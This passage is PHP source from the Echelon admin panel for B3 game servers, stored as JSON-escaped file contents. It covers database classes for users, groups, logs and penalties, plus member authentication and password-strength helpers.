@param string $salt - salt string for the password\r\n\t * @param string $group - group for the user\r\n\t * @param string $admin_id - id of the admin who added the user key\r\n\t * @return bool\r\n\t */\r\n\tfunction addUser($username, $display, $email, $password, $salt, $group, $admin_id) {\r\n\t\t$time = time();\r\n\t\t// id, username, display, email, password, salt, ip, group, admin_id, first_seen, last_seen\r\n\t\t$query = \"INSERT INTO ech_users VALUES(NULL, ?, ?, ?, ?, ?, NULL, ?, ?, ?, NULL)\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->bind_param('sssssiii', $username, $display, $email, $password, $salt, $group, $admin_id, $time);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\tif($stmt->affected_rows)\r\n\t\t\treturn true;\r\n\t\telse\r\n\t\t\treturn false;\r\n\t\t\r\n\t\t$stmt->close();\r\n\t}\r\n\r\n\t/**\r\n\t * Deletes a user\r\n\t *\r\n\t * @param string $id - id of user to deactive\r\n\t * @return bool\r\n\t */\r\n\tfunction delUser($user_id) {\r\n\t\t$query = \"DELETE FROM ech_users WHERE id = ? LIMIT 1\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->bind_param('i', $user_id);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\t$affect = $stmt->affected_rows;\r\n\t\t\r\n\t\t$stmt->close();\r\n\t\t\r\n\t\tif($affect == 1)\r\n\t\t\treturn true;\r\n\t\telse\r\n\t\t\treturn false;\r\n\t}\r\n\t\r\n\tfunction editUser($id, $username, $display, $email, $ech_group) {\r\n\t\t$query = \"UPDATE ech_users SET username = ?, display = ?, email = ?, ech_group = ? WHERE id = ? LIMIT 1\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->bind_param('sssii', $username, $display, $email, $ech_group, $id);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\tif($stmt->affected_rows == 1)\r\n\t\t\treturn true;\r\n\t\telse\r\n\t\t\treturn false;\r\n\t\t\t\r\n\t\t$stmt->close();\r\n\t}\r\n\t\r\n\t/**\r\n\t * Gets a user's details (for SA view/edit)\r\n\t *\r\n\t * @param string $id - id of user\r\n\t * @return array\r\n\t */\r\n\tfunction getUserDetails($id) {\r\n\t\t$query = \"SELECT u.username, u.display, u.email, u.ip, u.ech_group, u.admin_id, u.first_seen, u.last_seen, a.display \r\n\t\t\t\t  FROM ech_users u LEFT JOIN ech_users a ON u.admin_id = a.id WHERE u.id = ? LIMIT 1\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->bind_param('i', $id);\r\n\t\t$stmt->execute();\r\n\t\r\n\t\t$stmt->store_result();\r\n\t\t$stmt->bind_result($username, $display, $email, $ip, $group, $admin_id, $first_seen, $last_seen, $admin_name);\r\n\t\t$stmt->fetch();\r\n\r\n\t\tif($stmt->num_rows == 1) :\r\n\t\t\t$data = array($username, $display, $email, $ip, $group, $admin_id, $first_seen, $last_seen, $admin_name);\r\n\t\t\treturn $data;\r\n\t\telse :\r\n\t\t\treturn false;\r\n\t\tendif;\r\n\t\t\r\n\t\t$stmt->free_result();\r\n\t\t$stmt->close();\r\n\t}\r\n\t\r\n\tfunction getUserDetailsEdit($id) {\r\n\t\t$query = \"SELECT username, display, email, ech_group FROM ech_users WHERE id = ? LIMIT 1\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->bind_param('i', $id);\r\n\t\t$stmt->execute();\r\n\t\r\n\t\t$stmt->store_result();\r\n\t\t$stmt->bind_result($username, $display, $email, $group_id);\r\n\t\t$stmt->fetch();\r\n\r\n\t\tif($stmt->num_rows == 1) :\r\n\t\t\t$data = array($username, $display, $email, $group_id);\r\n\t\t\treturn $data;\r\n\t\telse :\r\n\t\t\treturn false;\r\n\t\tendif;\r\n\t\t\r\n\t\t$stmt->free_result();\r\n\t\t$stmt->close();\r\n\t}\r\n\t\r\n\t/**\r\n\t * Verifies if a user name and email exist\r\n\t *\r\n\t * @param string $name - username of user\r\n\t * @param string $email - email address of user\r\n\t * @return int($user_id)/bool(false)\r\n\t */\r\n\tfunction verifyUser($name, $email) {\r\n\t\r\n\t\t$query = \"SELECT id FROM ech_users WHERE username = ? AND email = ? LIMIT 1\";\r\n\t\t$stmt =  $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->bind_param('ss', $name, $email);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\t$stmt->store_result();\r\n\t\tif($stmt->num_rows == 1) {\r\n\t\t\t$stmt->bind_result($user_id);\r\n\t\t\t$stmt->fetch();\r\n\t\t\treturn $user_id;\r\n\t\t} else {\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\t$stmt->free_result();\r\n\t\t$stmt->close();\r\n\t}\r\n\t\r\n\t/**\r\n\t * Gets an array of the echelon groups\r\n\t *\r\n\t * @return array\r\n\t */\r\n\tfunction getGroups() {\r\n\t\t$query = \"SELECT id, namep FROM ech_groups ORDER BY id ASC\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->execute();\r\n\t\t$stmt->bind_result($id, $display);\r\n\t\t\r\n\t\twhile($stmt->fetch()) :\r\n\t\t\t$groups[] = array(\r\n\t\t\t\t'id' => $id,\r\n\t\t\t\t'display' => $display\r\n\t\t\t);\r\n\t\tendwhile;\r\n\t\t\r\n\t\t$stmt->close();\r\n\t\treturn $groups;\t\r\n\t}\r\n\t\r\n\tfunction getGroupInfo($group_id) {\r\n\t\t$query = \"SELECT namep, premissions FROM ech_groups WHERE id = ? LIMIT 1\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('DB Error');\r\n\t\t$stmt->bind_param('i', $group_id);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\t$stmt->bind_result($display, $perms);\r\n\t\t$stmt->fetch();\r\n\t\t$result = array($display, $perms);\r\n\t\t\r\n\t\t$stmt->close();\r\n\t\treturn $result;\r\n\t}\r\n\t\r\n\tfunction getEchLogs($id, $game_id = NULL, $type = 'client') {\r\n\t\t$query = \"SELECT log.id, log.type, log.msg, log.client_id, log.user_id, log.time_add, log.game_id, u.display \r\n\t\t\t\t  FROM ech_logs log LEFT JOIN ech_users u ON log.user_id = u.id \";\r\n\t\t\r\n\t\tif($type == 'admin')\r\n\t\t\t$query .= \"WHERE user_id = ?\";\r\n\t\telse\r\n\t\t\t$query .= \"WHERE client_id = ? AND game_id = ?\";\r\n\t\t\t\r\n\t\t$query .= \" ORDER BY log.time_add DESC\";\r\n\t\t\t\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\tif($type == 'admin')\r\n\t\t\t$stmt->bind_param('i', $id);\r\n\t\telse\r\n\t\t\t$stmt->bind_param('ii', $id, $game_id);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\t$stmt->store_result();\r\n\t\t$stmt->bind_result($id, $type, $msg, $client_id, $user_id, $time_add, $game_id, $user_name);\r\n\t\t\r\n\t\twhile($stmt->fetch()) :\r\n\t\t\t$ech_logs[] = array(\r\n\t\t\t\t'id' => $id,\r\n\t\t\t\t'type' => $type,\r\n\t\t\t\t'msg' => $msg,\r\n\t\t\t\t'client_id' => $client_id,\r\n\t\t\t\t'user_id' => $user_id,\r\n\t\t\t\t'user_name' => $user_name,\r\n\t\t\t\t'game_id' => $game_id,\r\n\t\t\t\t'time_add' => $time_add\r\n\t\t\t); \t\r\n\t\tendwhile;\r\n\t\t\r\n\t\t$stmt->close();\r\n\t\treturn $ech_logs;\r\n\t}\r\n\t\r\n\tfunction addEchLog($type, $comment, $cid, $user_id, $game_id) {\r\n\t\t// id, type, msg, client_id, user_id, time_add, game_id\r\n\t\t$query = \"INSERT INTO ech_logs VALUES(NULL, ?, ?, ?, ?, UNIX_TIMESTAMP(), ?)\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('Database Error');\r\n\t\t$stmt->bind_param('ssiii', $type, $comment, $cid, $user_id, $game_id);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\t$affect = $stmt->affected_rows;\r\n\t\t\r\n\t\t$stmt->close();\r\n\t\t\r\n\t\tif($affect == 1)\r\n\t\t\treturn true;\r\n\t\telse\r\n\t\t\treturn false;\r\n\t}\r\n\t\r\n\t/**\r\n\t * Gets an array of the external links from the db\r\n\t */\r\n\tfunction getLinks() {\r\n\t\t$query = \"SELECT * FROM ech_links\";\r\n\t\t\r\n\t\t$links = $this->query($query);\r\n\t\t\r\n\t\treturn $links;\r\n\t}\r\n\t\r\n\tfunction setGroupPerms($group_id, $perms) {\r\n\t\t$query = \"UPDATE ech_groups SET premissions = ? WHERE id = ? LIMIT 1\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('DB Error');\r\n\t\t$stmt->bind_param('si', $perms, $group_id);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\t$affect = $stmt->affected_rows;\r\n\t\t\r\n\t\t$stmt->close();\r\n\t\t\r\n\t\tif($affect == 1)\r\n\t\t\treturn true;\r\n\t\telse\r\n\t\t\treturn false;\r\n\t}\r\n\t\r\n\tfunction addGroup($name, $slug, $perms) {\r\n\t\t$query = \"INSERT INTO ech_groups VALUES(NULL, ?, ?, ?)\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('DB Error');\r\n\t\t$stmt->bind_param('sss', $name, $slug, $perms);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\t$affect = $stmt->affected_rows;\r\n\t\t$stmt->close();\r\n\t\t\r\n\t\tif($affect == 1)\r\n\t\t\treturn true;\r\n\t\telse\t\r\n\t\t\treturn false;\r\n\t}\r\n\t\r\n\tfunction delServer($id) {\r\n\t\t$query = \"DELETE FROM ech_servers WHERE id = ? LIMIT 1\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('DB Error');\r\n\t\t$stmt->bind_param('i', $id);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\t$affect = $stmt->affected_rows;\r\n\t\t$stmt->close();\r\n\t\t\r\n\t\tif($affect == 1)\r\n\t\t\treturn true;\r\n\t\telse\r\n\t\t\treturn false;\r\n\t}\r\n\t\r\n\tfunction gamesBanList() {\r\n\t\t$query = \"SELECT id, name, db_host, db_user, db_pw, db_name FROM ech_games\";\r\n\t\r\n\t\t$data = $this->query($query);\r\n\t\t\r\n\t\treturn $data;\r\n\t}\r\n\r\n} // end class", "echelon/classes/members-class.php": "<?php\r\nif (!empty($_SERVER['SCRIPT_FILENAME']) && 'members-class.php' == basename($_SERVER['SCRIPT_FILENAME']))\r\n  \t\tdie ('Please do not load this page directly. Thanks!');\r\n\t\t\r\n## Some User Functions ##\r\n\r\nclass member {\r\n\r\nvar $user_id;\r\nvar $name;\r\nvar $email;\r\n\r\nfunction __construct($user_id, $name, $email) {\r\n\t$this->id = $user_id;\r\n\t$this->name = $name;\r\n\t$this->email = $email;\r\n}\r\n\r\n/**\r\n * Sets the class name var\r\n */\r\nfunction setName($name) {\r\n\t$this->name = $name;\r\n\t$_SESSION['name'] = $this->name;\r\n}\r\n\r\n/**\r\n * Sets the class email var\r\n */\r\nfunction setEmail($email) {\r\n\t$this->email = $email;\r\n\t$_SESSION['email'] = $this->email;\r\n}\r\n\r\n/**\r\n * Checks if a user is logged in or not\r\n *\r\n * @return bool\r\n */\r\nfunction loggedIn() { // are they logged in\r\n\tif($_SESSION['auth']) // if authorised allow access\r\n\t\treturn true;\r\n\telse\r\n\t\treturn false; // if not authorised\r\n}\r\n\r\n/**\r\n * Checks if a user has the rights to view this page, is not locked/banned or not logged in\r\n *\r\n * @param string $name - permission name\r\n */\r\nfunction auth($name) {\r\n\tlocked(); // stop blocked people from acessing\t\r\n\tif(!$this->loggedIn()) { // if not authorised/logged in\r\n\t\tset_error('Please login to Echelon');\r\n\t\tsendLogin();\r\n\t\texit;\r\n\t}\r\n\tif(!$this->reqLevel($name)) { // if users level is less than needed access, deny entry, and cause error\r\n\t\tset_error('You do not have the correct privilages to view that page');\r\n\t\tsendHome();\r\n\t\texit;\r\n\t}\r\n}\r\n\r\nfunction reqLevel($name) {\r\n\t$perm_required = $_SESSION['perms'][$name];\r\n\tif(!$perm_required) // if users level is less than needed access return false\r\n\t\treturn false;\r\n\telse\r\n\t\treturn true;\r\n}\r\n\r\n/**\r\n * Takes password and generates salt and hash. Then updates their password in the DB\r\n *\r\n * @param string $password - the new password the user\r\n * @param int $user_id - the id of the user that is being edited\r\n * @param int $min_pw_len - min len of password\r\n * @return bool(true)/string(error)\r\n */\r\nfunction genAndSetNewPW($password, $user_id, $min_pw_len) {\r\n\r\n\t// get the DB instance pointer\r\n\t$dbl = DBL::getInstance();\r\n\t\r\n\t// check that the supplied password meets the required password policy for strong passwords\r\n\tif(!$this->pwStrength($password, $min_pw_len)) { // false: not strong enough\r\n\t\treturn 'The password you supplied is not strong enough, a password must be longer than '. $min_pw_len .' character and should follow this <a href=\"http://echelon.bigbrotherbot.net/pw/\" title=\"Echelon Password Policy\">policy</a>.';\r\n\t\texit;\r\n\t}\r\n\t\r\n\t// generate a new salt for the user\r\n\t$salt_new = genSalt();\r\n\t\r\n\t// find the hash of the supplied password and the new salt\r\n\t$password_hash = genPW($password, $salt_new);\r\n\t\r\n\t// update the user with new password and new salt\r\n\t$results_pw = $dbl->editMePW($password_hash, $salt_new, $user_id);\r\n\tif($results_pw == false) {\r\n\t\treturn 'There was an error changing your password';\r\n\t} else\r\n\t\treturn true;\r\n}\r\n\r\n/**\r\n * Echo out the display name in a link, if the display name is not set echo guest.\r\n */\r\nfunction displayName() {\r\n\r\n\tif($this->name == '')\r\n\t\techo 'Guest';\r\n\telse\r\n\t\techo '<a href=\"'.PATH.'me.php\" title=\"Go to your own account settings\">'. $this->name .'</a>';\r\n\t\t\r\n\treturn;\r\n}\r\n\r\n/**\r\n * Echo out the time the user was last seen, if there is no time echo out a welcome\r\n *\r\n * @param string $time - time format (default is availble)\r\n */\r\nfunction lastSeen($time_format = 'd M y') {\r\n\r\n\tif($_SESSION['last_seen'] != '')\r\n\t\techo 'Last Seen: '. date($time_format, $_SESSION['last_seen']);\r\n\telse\r\n\t\techo 'Welcome to Echelon!';\r\n}\r\n\r\n/**\r\n * Gets a users gravatar from gravatar.com\r\n *\r\n * @param string $email - email address of the current user\r\n * @return string\r\n */\r\nfunction getGravatar($email) {\r\n\t$size = 32;\r\n\r\n\t$https = detectSSL();\r\n\t\r\n\tif($https) {\r\n\t\t$grav_url = \"https://secure.gravatar.com/avatar.php?\r\n\t\tgravatar_id=\".md5( strtolower($email) );\r\n\t} else {\r\n\t\t$grav_url = \"http://www.gravatar.com/avatar/\" . md5( strtolower( $email ) );\r\n\t}\r\n\t\r\n\t$gravatar = '<span class=\"gravatar\">\r\n\t\t\t<a href=\"http://gravatar.com/\" target=\"_blank\" title=\"Get your own personalised image\">\r\n\t\t\t\t<img width=\"32\" src=\"'.$grav_url.'\" alt=\"\" />\r\n\t\t\t</a>\r\n\t\t</span>';\r\n\t\r\n\treturn $gravatar;\r\n}\r\n\r\n/**\r\n * Using a user's password this func sees if the user inputed the right password for action verification\r\n *\r\n * @param string $password\r\n */\r\nfunction reAuthUser($password, $dbl) {\r\n\r\n\t// Check to see if this person is real\r\n\t$salt = $dbl->getUserSaltById($this->id);\r\n\r\n\tif($salt == false) // only returns false if no salt found, ie. user does not exist\r\n\t\tsendBack('There is a problem, you do not seem to exist!');\r\n\r\n\t$hash_pw = genPW($password, $salt); // hash the inputted pw with the returned salt\r\n\r\n\t// Check to see that the supplied password is correct\r\n\t$validate = $dbl->validateUserRequest($this->id, $hash_pw);\r\n\tif(!$validate) {\r\n\t\thack(1); // add one to hack counter to stop brute force\r\n\t\tsendBack('You have supplied an incorrect current password');\r\n\t}\r\n\t\r\n}\r\n\r\n/**\r\n * Checks if the password is strong enough - uses mutliple checks\r\n *\r\n * @param string $password - the password you wish to check\r\n * @param int $min_pw_len - minimun lenght a password can be\r\n * @return bool (false: not strong enough/ true strong enough)\r\n */\r\nfunction pwStrength($password, $min_pw_len = 8) {\r\n\r\n\t$length = strlen($password); // get the length of the password \r\n\r\n\t$power = 0; // start at 0\r\n\r\n\t// if password is shorter than min required lenght return false\r\n\tif($length < $min_pw_len)\r\n\t\treturn false;\r\n\r\n    // check if password is not all lower case \r\n    if(strtolower($password) != $password)\r\n        $power++;\r\n    \r\n    // check if password is not all upper case \r\n    if(strtoupper($password) == $password)\r\n        $power++;\r\n\r\n    // check string length is 8-16 chars \r\n    if($length >= 8 && $length <= 16)\r\n        $power++;\r\n\r\n    // check if lenth is 17 - 25 chars \r\n    if($length >= 17 && $length <=25)\r\n        $power += 2;\r\n\r\n    // check if length greater than 25 chars \r\n    if($length > 25)\r\n        $power += 3;\r\n    \r\n    // get the numbers in the password \r\n    preg_match_all('/[0-9]/', $password, $numbers);\r\n    $power += count($numbers[0]);\r\n\r\n    // check for special chars \r\n    preg_match_all('/[|!@#$%&*\\/=?,;.:\\-_+~^\\\\\\]/', $password, $specialchars);\r\n    $spec = sizeof($specialchars[0]);\r\n\tif($spec < 2)\r\n\t\t$power--;\r\n\telseif($spec >= 2)\r\n\t\t$power++;\r\n\telseif(($spec > 4) && ($spec <= 5))\r\n\t\t$power += 2;\r\n\telseif(($spec >= 5) && ($lenght/5 >= 2)) // the second part here is a check to that half the password isn't special characters\r\n\t\t$power += 3;\r\n\telse\r\n\t\t$power;\r\n\t\r\n\r\n    // get the number of unique chars \r\n    $chars = str_split($password);\r\n    $num_unique_chars = sizeof( array_unique($chars) );\r\n    $power += floor(($num_unique_chars / 2));\r\n\t\r\n\tif($power > 10)\r\n\t\t$power = 10;\r\n\t\r\n\t// if the password is strong enough return true, else return false\r\n\tif($power >= 5)\r\n\t\treturn true;\r\n\telse\r\n\t\treturn false;\r\n\r\n}\r\n\r\n\r\n#############################\r\n} // end class", "echelon/classes/mysql-class.php": "<?php\r\n## Die if the user has come to this page directly ##\r\nif (!empty($_SERVER['SCRIPT_FILENAME']) && 'mysql-class.php' == basename($_SERVER['SCRIPT_FILENAME']))\r\n  \t\tdie ('Please do not load this page directly. Thanks!');\r\n\t\t\r\n## file to deal with the connection to the B3 databases ##\r\n/* \r\n* class DB_B3\r\n* @param Host \r\n* @param User \r\n* @param Password \r\n* @param Name \r\n*/  \r\n\r\nclass DB_B3 {\r\n\r\n\t## Settings ##\r\n\tpublic $mysql = NULL; // object var (if connection exists this will not be NULL)\r\n\tpublic $error = FALSE; // was there a DB query error\r\n\tpublic $query_error_pub = NULL;\r\n\tpublic $error_msg;\r\n\r\n\tprivate $error_sec = 'We are having some database problems, please check back later.'; // message to show the public if the DB query/connect fails\r\n\tprivate $error_on = false; // are detailed error reports on (default, can be overidden)\r\n\t\r\n\tprivate static $instance = NULL;\r\n\r\n\t## Connection Vars ##\r\n\tprivate $host; // B3 DB MySQL Host\r\n\tprivate $user; // B3 DB MySQL User\r\n\tprivate $pass; // B3 DB MySQL Password\r\n\tprivate $name; // B3 DB MySQL Database Name\r\n\r\n\t/**\r\n\t * Gets the current instance of the class, there can only be one instance (this make the class a singleton class)\r\n\t * \r\n\t * @return object $instance - the current instance of the class\r\n\t */\r\n\tpublic static function getInstance($host, $user, $pass, $name, $error_on = false) {\r\n\t\tif (!(self::$instance instanceof self))\r\n\t\t\tself::$instance = new self($host, $user, $pass, $name, $error_on);\r\n\r\n        return self::$instance;\r\n    }\r\n\t\r\n\tpublic static function getPointer() {\r\n\t\r\n\t\treturn self::$instance;\r\n\t\r\n\t}\r\n\t\r\n\t/**\r\n\t * Auto Load in sent vars and make connection to the B3 DB\r\n\t */\r\n\tpublic function __construct($host, $user, $pass, $name, $error_on) {\r\n\t\t$this->host = $host;\r\n\t\t$this->user = $user;\r\n\t\t$this->pass = $pass;\r\n\t\t$this->name = $name;\r\n\t\t$this->error_on = $error_on;\r\n\r\n\t\ttry { // try to connect to the DB or die with an error\r\n\t\t\t$this->connectDB();\r\n\t\t\t\t\r\n\t\t} catch (Exception $e) {\r\n\t\t\t// get exception information\r\n\t\t\t$error_msg = strip_tags($e->getMessage());\r\n\t\t\t$code = $e->getCode();\r\n\t\t\t\r\n\t\t\t// log info\r\n\t\t\techLog('mysqlconnect', $error_msg, $code);\r\n\t\t\t\r\n\t\t\t// set vars for outside class\r\n\t\t\t$this->error = true;\r\n\t\t\t$this->error_msg = $error_msg;\r\n\t\t\t\r\n\t\t} // end catch\r\n\t\t\r\n\t} // end constructor function\r\n\t\r\n\t// Do not allow the clone operation\r\n    private function __clone() { }\r\n\t\r\n\t/**\r\n\t * If access to a protected or private function is called\r\n\t */\r\n\tpublic function __call($name, $arg) {\r\n\t\techLog('error', 'System tried to access function '. $name .', a private or protected function in class '. get_class($this)); // log error\r\n\t\techo \"<strong>\" . $name . \"</strong> is a private function that cannot be accessed outside the B3 MySQL class\"; // error out error\r\n    }\r\n\t\r\n\t/**\r\n     * __destruct : Destructor for class, closes the MySQL connection\r\n     */\r\n    public function __destruct() {\r\n        if($this->mysql != NULL) // if it is set/created (defalt starts at NULL)\r\n            @$this->mysql->close(); // close the connection\r\n\t\t\r\n\t\t$this->instance = NULL;\r\n    }\r\n\t\r\n\t/**\r\n     * Makes the connection to the DB or throws error\r\n     */\r\n    private function connectDB() {\r\n\t\r\n\t\tif($this->mysql != NULL) // if it is set/created (defalt starts at NULL)\r\n\t\t\t@$this->mysql->close();\r\n\t\t\r\n\t\t// Create new connection\r\n        $this->mysql = @new mysqli($this->host, $this->user, $this->pass, $this->name);\r\n\t\t\r\n\t\t// if there was a connection error \r\n\t\tif (mysqli_connect_errno()) : // NOTE: we are using the procedural method here because of a problem with the OOP method before PHP 5.2.9\r\n\r\n\t\t\t$code = @$this->mysql->connect_errno; // not all versions of PHP respond nicely to this\r\n\t\t\tif(empty($code)) // so if it does not then \r\n\t\t\t\t$code = 1; // set to 1\r\n\t\t\r\n\t\t\tif($this->error_on) // only if settings say show to con error, will we show it, else just say error\r\n\t\t\t\t$error_msg = '<strong>B3 Database Connection Error:</strong> (#'. $code .') '.mysqli_connect_error();\r\n\t\t\telse\r\n\t\t\t\t$error_msg = $this->error_sec;\r\n\t\t\t\t\r\n\t\t\t$traces = NULL;\r\n\t\t\t$log_success = echLog('mysql', $error_msg, $code, $traces);\r\n\t\t\tif(!$log_success)\r\n\t\t\t\tdie('Could not log fatal error');\r\n\t\t\t\t\r\n\t\t\tthrow new Exception($error_msg, $code); // throw new mysql typed exception\r\n\t\t\t\r\n\t\tendif;\r\n    }\r\n\t\r\n\t/**\r\n\t * Handy Query function\r\n\t *\r\n\t * @param string $sql - the SQL query to execute\r\n\t * @param bool $fetch - fetch the data rows or not\r\n\t * @param string $type - typpe of query this is \r\n\t */\r\n\tpublic function query($sql, $fetch = true, $type = 'select') {\r\n\r\n\t\tif($mysql = NULL || $this->error)\r\n\t\t\treturn false;\r\n\t\t\r\n\t\ttry {\r\n\t\t\r\n\t\t\tif($stmt = $this->mysql->prepare($sql))\r\n\t\t\t\t$stmt->execute();\r\n\t\t\telse\r\n\t\t\t\tthrow new MysqlException($this->mysql->error, $this->mysql->errno);\r\n\r\n\t\t} catch (MysqlException $e) {\r\n\t\t\r\n\t\t\t$this->error = true; // there is an error\r\n\t\t\tif($this->error_on) // if detailed errors work\r\n\t\t\t\t$this->error_msg = \"MySQL Query Error (#\". $this->mysql->errno .\"): \". $this->mysql->error;\r\n\t\t\telse\r\n\t\t\t\t$this->error_msg = $this->error_sec;\r\n\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\t\r\n\t\t## setup results array\r\n\t\t$results = array();\r\n\t\t$results['data'] = array();\r\n\t\t\r\n\t\t## do certain things depending on type of query\r\n\t\tswitch($type) { \r\n\t\t\tcase 'select': // if type is a select query\r\n\t\t\t\t$stmt->store_result();\r\n\t\t\t\t$results['num_rows'] = $stmt->num_rows(); // find the number of rows retrieved\r\n\t\t\tbreak;\r\n\t\t\t\r\n\t\t\tcase 'update':\r\n\t\t\tcase 'insert': // if insert or update find the number of rows affected by the query\r\n\t\t\t\t$results['affected_rows'] = $stmt->affected_rows(); \r\n\t\t\tbreak;\r\n\t\t}\r\n\t\t\r\n\t\t## fetch the results\r\n\t\tif($fetch) : // only fetch data if we need it\r\n\t\t\r\n\t\t\t$meta = $stmt->result_metadata();\r\n\r\n\t\t\twhile ($field = $meta->fetch_field()) :\r\n\t\t\t\t$parameters[] = &$row[$field->name];\r\n\t\t\tendwhile;\r\n\r\n\t\t\tcall_user_func_array(array($stmt, 'bind_result'), $parameters);\r\n\r\n\t\t\twhile ($stmt->fetch()) :\r\n\t\t\t\tforeach($row as $key => $val) {\r\n\t\t\t\t\t$x[$key] = $val;\r\n\t\t\t\t}\r\n\t\t\t\t$results['data'][] = $x;\r\n\t\t\tendwhile;\r\n\r\n\t\tendif;\r\n\t\t\r\n\t\t## return and close off connections\r\n\t\treturn $results;\r\n\t\t$results->close();\r\n\t\t$stmt->close();\r\n\t\t\r\n\t} // end query()\r\n\t\r\n\tfunction getB3Groups() {\r\n\t\t$query = \"SELECT id, name FROM groups ORDER BY id ASC\";\r\n\t\t$stmt = $this->mysql->prepare($query);\r\n\t\t$stmt->execute();\r\n\t\t$stmt->bind_result($id, $name);\r\n\t\t\r\n\t\twhile($stmt->fetch()) :\r\n\t\t\t$groups[] = array(\r\n\t\t\t\t'id' => $id,\r\n\t\t\t\t'name' => $name\r\n\t\t\t); \t\r\n\t\tendwhile;\r\n\t\r\n\t\t$stmt->close();\r\n\t\treturn $groups;\t\r\n\t}\r\n\t\r\n\tfunction getB3GroupsLevel() {\r\n\t\t$query = \"SELECT id FROM groups ORDER BY id ASC\";\r\n\t\t$stmt = $this->mysql->prepare($query);\r\n\t\t$stmt->execute();\r\n\t\t$stmt->bind_result($id);\r\n\t\t\r\n\t\t$groups = array();\r\n\t\t\r\n\t\twhile($stmt->fetch()) :\r\n\t\t\tarray_push($groups, $id);\r\n\t\tendwhile;\r\n\t\r\n\t\t$stmt->close();\r\n\t\treturn $groups;\t\r\n\t\r\n\t}\r\n\t\r\n\t/**\r\n\t * insert a penalty into the penalty table in the B3 DB\r\n\t *\r\n\t * @param string $type - type of penalty\r\n\t * @param int $cid - client_id who is getting the penalty\r\n\t * @param int $duration - duration of pen\r\n\t * @param string $reason - reason for pen\r\n\t * @param string $data - some additional data\r\n\t * @param int $time_expire - time (unix time) for when the pen will expire\r\n\t * @return bool\r\n\t */\r\n\tfunction penClient($type, $cid, $duration, $reason, $data, $time_expire) {\r\n\t\r\n\t\t// id(), type, client_id, admin_id(0), duration, inactive(0), keyword(Echelon), reason, data, time_add(time), time_edit(time), time_expire\r\n\t\t$query = \"INSERT INTO penalties (type, client_id, admin_id, duration, inactive, keyword, reason, data, time_add, time_edit, time_expire) VALUES(?, ?, 0, ?, 0, 'Echelon', ?, ?, UNIX_TIMESTAMP(), UNIX_TIMESTAMP(), ?)\";\r\n\t\t$stmt = $this->mysql->prepare($query) or die('MySQL Error');\r\n\t\t$stmt->bind_param('siissi', $type, $cid, $duration, $reason, $data, $time_expire);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\tif($stmt->affected_rows > 0) // if something happened\r\n\t\t\treturn true;\r\n\t\telse\r\n\t\t\treturn false;\r\n\t\t\t\r\n\t\t$stmt->close();\r\n\t}\r\n\t\r\n\t/**\r\n\t * Deactive a penalty\r\n\t *\r\n\t * @param string $pen_id - id of penalty to deactive\r\n\t * @return bool\r\n\t */\r\n\tfunction makePenInactive($pen_id) {\r\n\t\t$query = \"UPDATE penalties SET inactive = 1 WHERE id = ? LIMIT 1\";\r\n\t\t$stmt = $this->mysql->prepare($query);\r\n\t\t$stmt->bind_param('i', $pen_id);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\tif($stmt->affected_rows > 0)\r\n\t\t\treturn true;\r\n\t\telse\r\n\t\t\treturn false;\r\n\t\t\t\r\n\t\t$stmt->close();\r\n\t\r\n\t}\r\n\t\r\n\t/**\r\n\t * Get the pbid of the client from a penalty id\r\n\t *\r\n\t * @param string $pen_id - id of penalty to search with\r\n\t * @return string - pbid of the client\r\n\t */\r\n\tfunction getPBIDfromPID($pen_id) {\r\n\t\t$query = \"SELECT c.pbid FROM penalties p LEFT JOIN clients c ON p.client_id = c.id WHERE p.id = ? LIMIT 1\";\r\n\t\t$stmt = $this->mysql->prepare($query);\r\n\t\t$stmt->bind_param('i', $pen_id);\r\n\t\t$stmt->execute();\r\n\t\t\r\n\t\t$stmt->store_result();\r\n\t\t$stmt->bind_result($pbid);\r\n\t\t$stmt->fetch();\r\n\t\t$stmt->free_result();\r\n\t\t$stmt->close();\r\n\t\r\n\t\treturn $pbid;\r\n\t}\r\n\r\n#############################\r\n#############################\r\n} // end class\r\n\r\n/**\r\n * Exceptions class for the B3 DB\r\n *\r\n */\r\nclass MysqlException extends Exception {\r\n\r\n\tprivate $ex_error;\r\n\tprivate $ex_errno;\r\n\r\n\tpublic function __construct($error, $errno) {\r\n\t\t\r\n\t\t// get sent vars\r\n\t\t$this->ex_error = $error;\r\n\t\t$this->ex_errno = $errno;\r\n\t\t\r\n\t\t// get exception information from parent class\r\n\t\t$traces = parent::getTraceAsString();\r\n\t\t\r\n\t\t// find error message and code\r\n\t\t$code = $this->ex_errno;\r\n\t\t$message = $this->ex_error;\r\n\t\t\r\n\t\t// log error message\r\n\t\t$log_success = echLog('mysql', $message, $code, $traces);\r\n\t\tif(!$log_success)\r\n\t\t\tdie('Could not log fatal error');\r\n\r\n\t\t// call parent constructor\r\n\t\tparent::__construct($message, $code);\r\n\t}\r\n\r\n}", "echelon/classes/plugins-class.php": "<?php\r\nif 